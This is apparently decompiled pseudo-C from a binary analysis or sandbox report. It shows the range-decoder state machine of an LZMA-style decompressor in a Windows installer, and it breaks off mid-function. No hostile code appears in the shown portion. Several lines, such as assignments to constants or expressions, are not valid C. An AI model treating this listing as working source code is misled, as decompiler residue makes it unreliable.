                                                                                    									 *(_t621 - 0x88) = _t542;
                                                                                    									while(1) {
                                                                                    										L1:
                                                                                    										_t543 =  *(_t621 - 0x88);
                                                                                    										if(_t543 > 0x1c) {
                                                                                    											break;
                                                                                    										}
                                                                                    										switch( *((intOrPtr*)(_t543 * 4 +  &M004071C8))) {
                                                                                    											case 0:
                                                                                    												if( *(_t621 - 0x6c) == 0) {
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                    												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                                                    												_t543 =  *( *(_t621 - 0x70));
                                                                                    												if(_t543 > 0xe1) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												_t547 = _t543 & 0x000000ff;
                                                                                    												_push(0x2d);
                                                                                    												asm("cdq");
                                                                                    												_pop(_t578);
                                                                                    												_push(9);
                                                                                    												_pop(_t579);
                                                                                    												_t617 = _t547 / _t578;
                                                                                    												_t549 = _t547 % _t578 & 0x000000ff;
                                                                                    												asm("cdq");
                                                                                    												_t612 = _t549 % _t579 & 0x000000ff;
                                                                                    												 *(_t621 - 0x3c) = _t612;
                                                                                    												 *(_t621 - 0x1c) = (1 << _t617) - 1;
                                                                                    												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
                                                                                    												_t620 = (0x300 << _t612 + _t617) + 0x736;
                                                                                    												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
                                                                                    													L10:
                                                                                    													if(_t620 == 0) {
                                                                                    														L12:
                                                                                    														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
                                                                                    														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                                                    														goto L15;
                                                                                    													} else {
                                                                                    														goto L11;
                                                                                    													}
                                                                                    													do {
                                                                                    														L11:
                                                                                    														_t620 = _t620 - 1;
                                                                                    														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
                                                                                    													} while (_t620 != 0);
                                                                                    													goto L12;
                                                                                    												}
                                                                                    												if( *(_t621 - 4) != 0) {
                                                                                    													GlobalFree( *(_t621 - 4));
                                                                                    												}
                                                                                    												_t543 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    												 *(_t621 - 4) = _t543;
                                                                                    												if(_t543 == 0) {
                                                                                    													goto L171;
                                                                                    												} else {
                                                                                    													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
                                                                                    													goto L10;
                                                                                    												}
                                                                                    											case 1:
                                                                                    												L13:
                                                                                    												__eflags =  *(_t621 - 0x6c);
                                                                                    												if( *(_t621 - 0x6c) == 0) {
                                                                                    													 *(_t621 - 0x88) = 1;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                    												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
                                                                                    												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
                                                                                    												_t45 = _t621 - 0x48;
                                                                                    												 *_t45 =  *(_t621 - 0x48) + 1;
                                                                                    												__eflags =  *_t45;
                                                                                    												L15:
                                                                                    												if( *(_t621 - 0x48) < 4) {
                                                                                    													goto L13;
                                                                                    												}
                                                                                    												_t555 =  *(_t621 - 0x40);
                                                                                    												if(_t555 ==  *(_t621 - 0x74)) {
                                                                                    													L20:
                                                                                    													 *(_t621 - 0x48) = 5;
                                                                                    													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
                                                                                    													goto L23;
                                                                                    												}
                                                                                    												 *(_t621 - 0x74) = _t555;
                                                                                    												if( *(_t621 - 8) != 0) {
                                                                                    													GlobalFree( *(_t621 - 8));
                                                                                    												}
                                                                                    												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
                                                                                    												 *(_t621 - 8) = _t543;
                                                                                    												if(_t543 == 0) {
                                                                                    													goto L171;
                                                                                    												} else {
                                                                                    													goto L20;
                                                                                    												}
                                                                                    											case 2:
                                                                                    												L24:
                                                                                    												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
                                                                                    												 *(_t621 - 0x84) = 6;
                                                                                    												 *(_t621 - 0x4c) = _t562;
                                                                                    												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
                                                                                    												goto L132;
                                                                                    											case 3:
                                                                                    												L21:
                                                                                    												__eflags =  *(_t621 - 0x6c);
                                                                                    												if( *(_t621 - 0x6c) == 0) {
                                                                                    													 *(_t621 - 0x88) = 3;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
                                                                                    												_t67 = _t621 - 0x70;
                                                                                    												 *_t67 =  &(( *(_t621 - 0x70))[1]);
                                                                                    												__eflags =  *_t67;
                                                                                    												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
                                                                                    												L23:
                                                                                    												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
                                                                                    												if( *(_t621 - 0x48) != 0) {
                                                                                    													goto L21;
                                                                                    												}
                                                                                    												goto L24;
                                                                                    											case 4:
                                                                                    												L133:
                                                                                    												_t540 =  *_t614;
                                                                                    												_t597 = _t540 & 0x0000ffff;
                                                                                    												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
                                                                                    												if( *(_t621 - 0xc) >= _t573) {
                                                                                    													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
                                                                                    													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
                                                                                    													 *(_t621 - 0x40) = 1;
                                                                                    													_t541 = _t540 - (_t540 >> 5);
                                                                                    													 *_t614 = _t541;
                                                                                    												} else {
                                                                                    													 *(_t621 - 0x10) = _t573;
                                                                                    													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
                                                                                    													 *_t614 = (0x800 - _t597 >> 5) + _t540;
                                                                                    												}
                                                                                    												if( *(_t621 - 0x10) >= 0x1000000) {
                                                                                    													goto L139;
                                                                                    												}
                                                                                    											case 5:
                                                                                    												goto L137;
                                                                                    											case 6:
                                                                                    												__edx = 0;
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__ecx =  *(__ebp - 0x38);
                                                                                    													 *(__ebp - 0x34) = 1;
                                                                                    													 *(__ebp - 0x84) = 7;
                                                                                    													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                    													L132:
                                                                                    													 *(_t621 - 0x54) = _t614;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    												__esi =  *(__ebp - 0x60);
                                                                                    												__cl = 8;
                                                                                    												__cl = 8 -  *(__ebp - 0x3c);
                                                                                    												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    												__ecx =  *(__ebp - 0x3c);
                                                                                    												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    												__ecx =  *(__ebp - 4);
                                                                                    												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    												__eflags =  *(__ebp - 0x38) - 4;
                                                                                    												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    												if( *(__ebp - 0x38) >= 4) {
                                                                                    													__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                    													if( *(__ebp - 0x38) >= 0xa) {
                                                                                    														_t98 = __ebp - 0x38;
                                                                                    														 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                    														__eflags =  *_t98;
                                                                                    													} else {
                                                                                    														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    													}
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x38) = 0;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x34) - __edx;
                                                                                    												if( *(__ebp - 0x34) == __edx) {
                                                                                    													__ebx = 0;
                                                                                    													__ebx = 1;
                                                                                    													goto L61;
                                                                                    												} else {
                                                                                    													__eax =  *(__ebp - 0x14);
                                                                                    													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    													__eflags = __eax -  *(__ebp - 0x74);
                                                                                    													if(__eax >=  *(__ebp - 0x74)) {
                                                                                    														__eax = __eax +  *(__ebp - 0x74);
                                                                                    														__eflags = __eax;
                                                                                    													}
                                                                                    													__ecx =  *(__ebp - 8);
                                                                                    													__ebx = 0;
                                                                                    													__ebx = 1;
                                                                                    													__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    													goto L41;
                                                                                    												}
                                                                                    											case 7:
                                                                                    												goto L0;
                                                                                    											case 8:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__ecx =  *(__ebp - 0x38);
                                                                                    													 *(__ebp - 0x84) = 0xa;
                                                                                    													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                    												} else {
                                                                                    													__eax =  *(__ebp - 0x38);
                                                                                    													__ecx =  *(__ebp - 4);
                                                                                    													__eax =  *(__ebp - 0x38) + 0xf;
                                                                                    													 *(__ebp - 0x84) = 9;
                                                                                    													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                    												}
                                                                                    												while(1) {
                                                                                    													L132:
                                                                                    													 *(_t621 - 0x54) = _t614;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											case 9:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													goto L89;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x60);
                                                                                    												if( *(__ebp - 0x60) == 0) {
                                                                                    													goto L171;
                                                                                    												}
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    												__eflags = _t258;
                                                                                    												0 | _t258 = _t258 + _t258 + 9;
                                                                                    												 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                    												goto L75;
                                                                                    											case 0xa:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 4);
                                                                                    													__ecx =  *(__ebp - 0x38);
                                                                                    													 *(__ebp - 0x84) = 0xb;
                                                                                    													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                    													while(1) {
                                                                                    														L132:
                                                                                    														 *(_t621 - 0x54) = _t614;
                                                                                    														goto L133;
                                                                                    													}
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x28);
                                                                                    												goto L88;
                                                                                    											case 0xb:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__ecx =  *(__ebp - 0x24);
                                                                                    													__eax =  *(__ebp - 0x20);
                                                                                    													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    												} else {
                                                                                    													__eax =  *(__ebp - 0x24);
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x28);
                                                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    												L88:
                                                                                    												__ecx =  *(__ebp - 0x2c);
                                                                                    												 *(__ebp - 0x2c) = __eax;
                                                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    												L89:
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												 *(__ebp - 0x80) = 0x15;
                                                                                    												__eax =  *(__ebp - 4) + 0xa68;
                                                                                    												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                    												goto L68;
                                                                                    											case 0xc:
                                                                                    												L99:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xc;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t334 = __ebp - 0x70;
                                                                                    												 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t334;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												goto L101;
                                                                                    											case 0xd:
                                                                                    												L37:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xd;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t122 = __ebp - 0x70;
                                                                                    												 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t122;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												L39:
                                                                                    												__eax =  *(__ebp - 0x40);
                                                                                    												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    													goto L48;
                                                                                    												}
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													goto L54;
                                                                                    												}
                                                                                    												L41:
                                                                                    												__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                    												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    												__ecx =  *(__ebp - 0x58);
                                                                                    												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    												 *(__ebp - 0x48) = __eax;
                                                                                    												__eax = __eax + 1;
                                                                                    												__eax = __eax << 8;
                                                                                    												__eax = __eax + __ebx;
                                                                                    												__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edx = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													 *(__ebp - 0x40) = 1;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													__ebx = __ebx + __ebx + 1;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edx;
                                                                                    													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													goto L39;
                                                                                    												} else {
                                                                                    													goto L37;
                                                                                    												}
                                                                                    											case 0xe:
                                                                                    												L46:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xe;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t156 = __ebp - 0x70;
                                                                                    												 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t156;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												while(1) {
                                                                                    													L48:
                                                                                    													__eflags = __ebx - 0x100;
                                                                                    													if(__ebx >= 0x100) {
                                                                                    														break;
                                                                                    													}
                                                                                    													__eax =  *(__ebp - 0x58);
                                                                                    													__edx = __ebx + __ebx;
                                                                                    													__ecx =  *(__ebp - 0x10);
                                                                                    													__esi = __edx + __eax;
                                                                                    													__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    													__ax =  *__esi;
                                                                                    													 *(__ebp - 0x54) = __esi;
                                                                                    													__edi = __ax & 0x0000ffff;
                                                                                    													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    													__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    													if( *(__ebp - 0xc) >= __ecx) {
                                                                                    														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    														__cx = __ax;
                                                                                    														_t170 = __edx + 1; // 0x1
                                                                                    														__ebx = _t170;
                                                                                    														__cx = __ax >> 5;
                                                                                    														__eflags = __eax;
                                                                                    														 *__esi = __ax;
                                                                                    													} else {
                                                                                    														 *(__ebp - 0x10) = __ecx;
                                                                                    														0x800 = 0x800 - __edi;
                                                                                    														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    														__ebx = __ebx + __ebx;
                                                                                    														 *__esi = __cx;
                                                                                    													}
                                                                                    													__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    													 *(__ebp - 0x44) = __ebx;
                                                                                    													if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    														continue;
                                                                                    													} else {
                                                                                    														goto L46;
                                                                                    													}
                                                                                    												}
                                                                                    												L54:
                                                                                    												_t173 = __ebp - 0x34;
                                                                                    												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    												__eflags =  *_t173;
                                                                                    												goto L55;
                                                                                    											case 0xf:
                                                                                    												L58:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0xf;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t203 = __ebp - 0x70;
                                                                                    												 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t203;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												L60:
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													L55:
                                                                                    													__al =  *(__ebp - 0x44);
                                                                                    													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                    													goto L56;
                                                                                    												}
                                                                                    												L61:
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__edx = __ebx + __ebx;
                                                                                    												__ecx =  *(__ebp - 0x10);
                                                                                    												__esi = __edx + __eax;
                                                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													_t217 = __edx + 1; // 0x1
                                                                                    													__ebx = _t217;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													goto L60;
                                                                                    												} else {
                                                                                    													goto L58;
                                                                                    												}
                                                                                    											case 0x10:
                                                                                    												L109:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x10;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t365 = __ebp - 0x70;
                                                                                    												 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t365;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												goto L111;
                                                                                    											case 0x11:
                                                                                    												L68:
                                                                                    												_t614 =  *(_t621 - 0x58);
                                                                                    												 *(_t621 - 0x84) = 0x12;
                                                                                    												while(1) {
                                                                                    													L132:
                                                                                    													 *(_t621 - 0x54) = _t614;
                                                                                    													goto L133;
                                                                                    												}
                                                                                    											case 0x12:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													__eax =  *(__ebp - 0x58);
                                                                                    													 *(__ebp - 0x84) = 0x13;
                                                                                    													__esi =  *(__ebp - 0x58) + 2;
                                                                                    													while(1) {
                                                                                    														L132:
                                                                                    														 *(_t621 - 0x54) = _t614;
                                                                                    														goto L133;
                                                                                    													}
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x4c);
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    												__ecx =  *(__ebp - 0x58);
                                                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                                                    												__eflags = __eax;
                                                                                    												__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    												goto L130;
                                                                                    											case 0x13:
                                                                                    												__eflags =  *(__ebp - 0x40);
                                                                                    												if( *(__ebp - 0x40) != 0) {
                                                                                    													_t469 = __ebp - 0x58;
                                                                                    													 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                    													__eflags =  *_t469;
                                                                                    													 *(__ebp - 0x30) = 0x10;
                                                                                    													 *(__ebp - 0x40) = 8;
                                                                                    													L144:
                                                                                    													 *(__ebp - 0x7c) = 0x14;
                                                                                    													goto L145;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x4c);
                                                                                    												__ecx =  *(__ebp - 0x58);
                                                                                    												__eax =  *(__ebp - 0x4c) << 4;
                                                                                    												 *(__ebp - 0x30) = 8;
                                                                                    												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                    												L130:
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												 *(__ebp - 0x40) = 3;
                                                                                    												goto L144;
                                                                                    											case 0x14:
                                                                                    												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                    												__eax =  *(__ebp - 0x80);
                                                                                    												 *(_t621 - 0x88) = _t542;
                                                                                    												goto L1;
                                                                                    											case 0x15:
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    												__al = __al & 0x000000fd;
                                                                                    												__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                    												goto L120;
                                                                                    											case 0x16:
                                                                                    												__eax =  *(__ebp - 0x30);
                                                                                    												__eflags = __eax - 4;
                                                                                    												if(__eax >= 4) {
                                                                                    													_push(3);
                                                                                    													_pop(__eax);
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 4);
                                                                                    												 *(__ebp - 0x40) = 6;
                                                                                    												__eax = __eax << 7;
                                                                                    												 *(__ebp - 0x7c) = 0x19;
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												goto L145;
                                                                                    											case 0x17:
                                                                                    												L145:
                                                                                    												__eax =  *(__ebp - 0x40);
                                                                                    												 *(__ebp - 0x50) = 1;
                                                                                    												 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                    												goto L149;
                                                                                    											case 0x18:
                                                                                    												L146:
                                                                                    												__eflags =  *(__ebp - 0x6c);
                                                                                    												if( *(__ebp - 0x6c) == 0) {
                                                                                    													 *(__ebp - 0x88) = 0x18;
                                                                                    													goto L170;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 0x70);
                                                                                    												__eax =  *(__ebp - 0xc);
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												_t484 = __ebp - 0x70;
                                                                                    												 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                    												__eflags =  *_t484;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    												L148:
